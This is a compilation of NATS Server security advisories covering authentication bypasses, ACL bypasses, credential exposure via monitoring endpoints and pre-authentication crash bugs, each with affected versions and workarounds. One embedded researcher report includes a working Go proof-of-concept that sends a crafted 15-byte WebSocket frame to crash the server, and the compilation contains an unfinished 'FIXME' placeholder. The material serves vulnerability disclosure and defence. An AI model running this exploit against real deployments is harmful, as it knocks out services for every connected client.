NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, when noauthuser was configured, a parser fast path intended for ordinary client connections could also apply to route or leafnode listeners, allowing an unauthenticated peer to bypass inter-server CONNECT authentication and operate with the privileges associated with that connection type. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.
(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2022-24450.txt>)
Problem Description
NATS nats-server through 2022-02-04 has Incorrect Access Control, with unchecked ability for clients to authorize into any account, because of a coding error in a long-extant experimental feature.
A client crafting the initial protocol-level handshake could, with valid credentials for any account, specify a target account and switch into it immediately. This includes any other tenant, and includes the System account which controls nats-server core operations.
For deployments not using multi-tenancy through NATS Accounts, there is still a vulnerability: normal users are able to choose to be in the System account.
An experimental feature to provide dynamically provisioned sandbox accounts was designed to allow a server administrator to turn on an option to allow clients to dynamically request a brand new account inline at connection time. This feature went nowhere, but lived on in the code and was used by a number of tests; support was never added to any client libraries or to the documentation.
A bug in handling the feature meant that if someone did in fact have valid account credentials, then they could specify any other existing account and they would be assigned into that account.
Release 2.7.2 of nats-server removes the feature. Because of the lack of client support and absence from protocol documentation, we feel this is safe operationally as well as the safest fix for the code.
Affected versions
NATS Server All 2.x versions up to and including 2.7.1. Fixed with nats-io/nats-server: 2.7.2 NATS Server 1.x did not have accounts. Docker image: nats <https://hub.docker.com//nats>
NATS Streaming Server All versions embedding affected NATS Server: + Affected: v0.15.0 up to and including v0.24.0 + Fixed with nats-io/nats-streaming-server: 0.24.1 Docker image: nats-streaming <https://hub.docker.com//nats-streaming>
Impact
Existing users could act in any account, including the System account.
Workaround
None.
Solution
Upgrade the NATS server.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an MQTT client interface.
Problem Description
For MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
Ensure monitoring end-points are adequately secured.
Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an MQTT client interface.
Problem Description
When using ACLs on message subjects, these ACLs were not applied in the $MQTT.> namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
None.
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client able to send account-scoped connection monitoring requests could crash the server by supplying Connz pagination Offset and Limit values that overflowed internal arithmetic before the response window was safely bounded. This issue is fixed in versions 2.14.3 and 2.12.12.
Impact
The WebSockets handling of NATS messages handles compressed messages via the WebSockets negotiated compression. The implementation bound the memory size of a NATS message but did not independently bound the memory consumption of the memory stream when constructing a NATS message which might then fail validation for size reasons.
An attacker can use a compression bomb to cause excessive memory consumption, often resulting in the operating system terminating the server process.
The use of compression is negotiated before authentication, so this does not require valid NATS credentials to exploit.
The fix was to bounds the decompression to fail once the message was too large, instead of continuing on.
Patches
This was released in nats-server without being highlighted as a security issue. It should have been, this was an oversight. Per the NATS security policy, because this does not require a valid user, it is CVE-worthy.
This was fixed in the v2.11 series with v2.11.12 and in the v2.12 series with v2.12.3.
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points.
References
This was reported to the NATS maintainers by Pavel Kohout of Aisle Research (www.aisle.com).
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an optional monitoring port, which provides access to sensitive data. The nats-server can take certain configuration options on the command-line instead of requiring a configuration file.
Problem Description
If a nats-server is run with static credentials for all clients provided via argv (the command-line), then those credentials are visible to any user who can see the monitoring port, if that too is enabled.
The /debug/vars end-point contains an unredacted copy of argv.
Patches
Fixed in nats-server 2.12.6 & 2.11.15
Workarounds
The NATS Maintainers are bemused at the concept of someone deploying a real configuration using --pass to avoid a config file, but also enabling monitoring.
Configure credentials inside a configuration file instead of via argv.
Do not enable the monitoring port if using secrets in argv.
Best practice remains to not expose the monitoring port to the Internet, or to untrusted network sources.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When configured to accept leafnode connections (for a hub/spoke topology of multiple nats-servers), then the default configuration allows for negotiating compression; a malicious remote NATS server can trigger a server panic via that compression.
Problem Description
If the nats-server has the "leafnode" configuration enabled (not default), then anyone who can connect can crash the nats-server by triggering a panic. This happens pre-authentication and requires that compression be enabled (which it is, by default, when leafnodes are used).
Context: a NATS server can form various clustering topologies, including local clusters, and superclusters of clusters, but leafnodes allow for separate administrative domains to link together with limited data communication; eg, a server in a moving vehicle might use a local leafnode for agents to connect to, and sync up to a central service as and when available. The leafnode configuration here is where the central server allows other NATS servers to connect into it, almost like regular NATS clients. Documentation examples typically use port 7422 for leafnode communications.
Affected Versions
Version 2, prior to v2.11.14 or v2.12.5
Workarounds
Disable compression on the leafnode port:
leafnodes { port: 7422 compression: off }
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.
Problem Description
A client which can connect to the leafnode port can crash the nats-server with a certain malformed message pre-authentication.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
1. Disable leafnode support if not needed. 2. Restrict network connections to your leafnode port, if plausible without compromising the service offered.
References
This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-10.txt> GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-vprv-35vv-q339> MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33218>
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server offers a WebSockets client service, used in deployments where browsers are the NATS clients.
Problem Description
A malicious client which can connect to the WebSockets port can cause unbounded memory use in the nats-server before authentication; this requires sending a corresponding amount of data.
This is a milder variant of NATS-advisory-ID 2026-02 (aka CVE-2026-27571; GHSA-qrvq-68c2-7grw). That earlier issue was a compression bomb, this vulnerability is not. Attacks against this new issue thus require significant client bandwidth.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
Disable websockets if not required for project deployment.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.
-----
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: server/websocket.go line 278
go r.rem = int(binary.BigEndian.Uint64(tmpBuf))
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.
Attack chain:
1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).
2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).
3. r.rem is now negative. At line 307–311, the bounds clamp fails:
go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC
The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.
4. There is no defer recover() anywhere in the goroutine chain: - startGoRoutine: go func() { f() }() — no recovery - readLoop: defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.
5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.
PoC
Server configuration (test-ws.conf): listen: 127.0.0.1:4222
websocket { listen: "127.0.0.1:9222" notls: true }
Start the server: bash nats-server -c test-ws.conf
Exploit (pocwscrash.go): go package main
import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" )
func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] }
fmt.Printf("[] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close()
// WebSocket upgrade req, := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte
fmt.Printf("[] Sending: %x\n", frame) conn.Write(frame)
time.Sleep(2 time.Second)
// Verify crash conn2, err := net.DialTimeout("tcp", target, 3time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") }
Run: bash go build -o pocwscrash pocwscrash.go ./pocwscrash
Observed server output before termination: panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(Server).startGoRoutine.func1() server/server.go:4078 +0x32
Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an unauthenticated MQTT client could cause the server to retain large incomplete MQTT CONNECT packets before authentication completed, consuming server memory while the parser waited for the advertised MQTT packet length. This issue is fixed in versions 2.14.3 and 2.12.12.
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.12.8 and 2.11.17, an unauthenticated peer with network access to a leafnode listener with compression enabled could crash the server during the pre-authentication leafnode handshake by sending repeated leafnode INFO protocol messages before authentication and account setup completed. This issue is fixed in versions 2.12.8 and 2.11.17.
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a WebSocket listener could route requests for the MQTT-over-WebSocket path into MQTT handling even when MQTT was not configured, allowing an unauthenticated client with access to the WebSocket listener to reach uninitialized MQTT state and crash the server process. This issue is fixed in versions 2.14.3 and 2.12.12.
An integer overflow in NATS Server before 2.0.2 allows a remote attacker to crash the server by sending a crafted request. If authentication is enabled, then the remote attacker must have first authenticated.
(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2021-3127.txt>)
Problem Description
The NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects. Some Exports are public, such that anyone can import the relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.
The JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.
As a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the importing account is not rejected, and use it to import any Subject from the Exporting account, not just the Subject referenced in the Import Token.
The NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.
The CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.
Affected versions
JWT library
all versions prior to 2.0.1 fixed after nats-io/jwt#149 landed (2021-03-14)
NATS Server
Version 2 prior to 2.2.0 + 2.0.0 through and including 2.1.9 are vulnerable fixed with nats-io/nats-server@423b79440c (2021-03-14)
Impact
In deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.
Abuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.
Workaround
Deny access to clients to update their account JWT in the account server.
Solution
Upgrade the JWT dependency in any application using it.
Upgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).
Audit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at <https://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a>.
This affects all versions of package github.com/nats-io/nats-server/server. Untrusted accounts are able to crash the server using configs that represent a service export/import cycles. Disclaimer from the maintainers - Running a NATS service which is exposed to untrusted users presents a heightened risk. Any remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers. Fixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention. Those who are running such services are encouraged to build regularly from git.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The cryptographic key handling library, nkeys, recently gained support for encryption, not just for signing/authentication. This is used in nats-server 2.10 (Sep 2023) and newer for authentication callouts.
Problem Description
The nkeys library's "xkeys" encryption handling logic mistakenly passed an array by value into an internal function, where the function mutated that buffer to populate the encryption key to use. As a result, all encryption was actually to an all-zeros key.
This affects encryption only, not signing. FIXME: FILL IN IMPACT ON NATS-SERVER AUTH CALLOUT SECURITY.
Affected versions
nkeys Go library: 0.4.0 up to and including 0.4.5 Fixed with nats-io/nkeys: 0.4.6
NATS Server: 2.10.0 up to and including 2.10.3 Fixed with nats-io/nats-server: 2.10.4
Solution
Upgrade the nats-server. For any application handling auth callouts in Go, if using the nkeys library, update the dependency, recompile and deploy that in lockstep.
Credits
Problem reported by Quentin Matillat (GitHub @tinou98).
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.1 and 2.12.9, an MQTT client could include protocol control characters in subscription filters that were later forwarded as NATS protocol data to route or leafnode connections, corrupting the forwarded protocol stream and allowing injection of unintended NATS protocol operations. This issue is fixed in versions 2.14.1 and 2.12.9.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an MQTT client interface.
Problem Description
Sessions and Messages can by hijacked via MQTT Client ID malfeasance.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
None.
Resources
This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-06.txt> GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-fcjp-h8cc-6879> MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33215>
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user with subscription deny permissions could bypass a plain subject deny rule by using a queue subscription, because queue-specific deny evaluation could override the plain subject deny result when the queue name itself was not denied. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user could receive messages on denied subjects when a wildcard subscription overlapped with a configured wildcard deny rule but was not a subset of it, and queue subscriptions could also affect delivery to legitimate queue consumers. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.
NATS nats-server before 2.7.4 allows Directory Traversal (with write access) via an element in a ZIP archive for JetStream streams. nats-streaming-server before 0.24.3 is also affected.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
NATS users exist within accounts, and once using accounts, the old authorization block is not applicable.
Problem Description
Without any authorization rules in the nats-server, users can connect without authentication.
Before nats-server 2.2.0, all authentication and authorization rules for a nats-server lived in an "authorization" block, defining users. With nats-server 2.2.0 all users live inside accounts. When using the authorization block, whose syntax predates this, those users will be placed into the implicit global account, "$G". Users inside accounts go into the newer "accounts" block.
If an "accounts" block is defined, in simple deployment scenarios this is often used only to enable client access to the system account. When the only account added is the system account "$SYS", the nats-server would create an implicit user in "$G" and set it as the noauthuser account, enabling the same "without authentication" logic as without any rules.
This preserved the ability to connect simply, and then add one authenticated login for system access.
But with an "authorization" block, this is wrong. Users exist in the global account, with login rules. And in simple testing, they might still connect fine without administrators seeing that authentication has been disabled.
The blind-spot on our part came from encouraging and documenting a switch to using only "accounts", instead of "authorization".
In the fixed versions, using an "authorization" block will inhibit the implicit creation of a "$G" user and setting it as the noauthuser target. In unfixed versions, just creating a second account, with no users, will also inhibit this behavior.
Affected versions
NATS Server: 2.2.0 up to and including 2.9.22 and 2.10.1 Fixed with nats-io/nats-server: 2.10.2 and backported to 2.9.23
Workarounds
In the "accounts" block, define a second non-system account, leave it empty.
accounts { SYS: { users: [ { user: sysuser, password: makemeasandwich } ] } DUMMY: {} # for security, before 2.10.2 } systemaccount: SYS
Solution
Any one of these:
1. Upgrade the NATS server to at least 2.10.2 (or 2.9.23) 2. Or define a dummy account 3. Or complete the migration of authorization entries to be inside a named account in the "accounts" block
Credits
Problem reported by Alex Herrington. Addressed publicly in a GitHub Discussion prior to this advisory.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers. NATS messages can have headers.
Problem Description
The nats-server offers a Nats-Request-Info: message header, providing information about a request. This is supposed to provide enough information to allow for account/user identification, such that NATS clients could make their own decisions on how to trust a message, provided that they trust the nats-server as a broker.
A leafnode connecting to a nats-server is not fully trusted unless the system account is bridged too. Thus identity claims should not have propagated unchecked.
Thus NATS clients relying upon the Nats-Request-Info: header could be spoofed.
Does not directly affect the nats-server itself, but the CVSS Confidentiality and Integrity scores are based upon what a hypothetical client might choose to do with this NATS header.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
None.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server offers a Nats-Request-Info: message header, providing information about a request.
Problem Description
The NATS message header Nats-Request-Info: is supposed to be a guarantee of identity by the NATS server, but the stripping of this header from inbound messages was not fully effective.
An attacker with valid credentials for any regular client interface could thus spoof their identity to services which rely upon this header.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
None.
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client could be registered as the configured noauthuser through a parser path used when the first client operation was not CONNECT, bypassing user-level connection restrictions such as allowedconnectiontypes or proxyrequired that normal authentication would apply. This issue is fixed in versions 2.14.3 and 2.12.12.
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.8, message trace destination checks were applied to ordinary client connections but not consistently to messages arriving through leafnode connections, allowing a leafnode operator to send trace events to subjects that would not otherwise be permitted and to use trace-only behavior to prevent normal delivery or storage of affected messages. This issue is fixed in versions 2.14.3 and 2.12.8.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The persistent storage feature, JetStream, has a management API which has many features, amongst which are backup and restore.
Problem Description
Users with JetStream admin API access to restore one stream could restore to other stream names, impacting data which should have been protected against them.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
If developers have configured users to have limited JetStream restore permissions, temporarily remove those permissions.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server supports telemetry on messages, using the per-message NATS headers.
Problem Description
A valid client which uses message tracing headers can indicate that the trace messages can be sent to an arbitrary valid subject, including those to which the client does not have publish permission.
The payload is a valid trace message and not chosen by the attacker.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
None.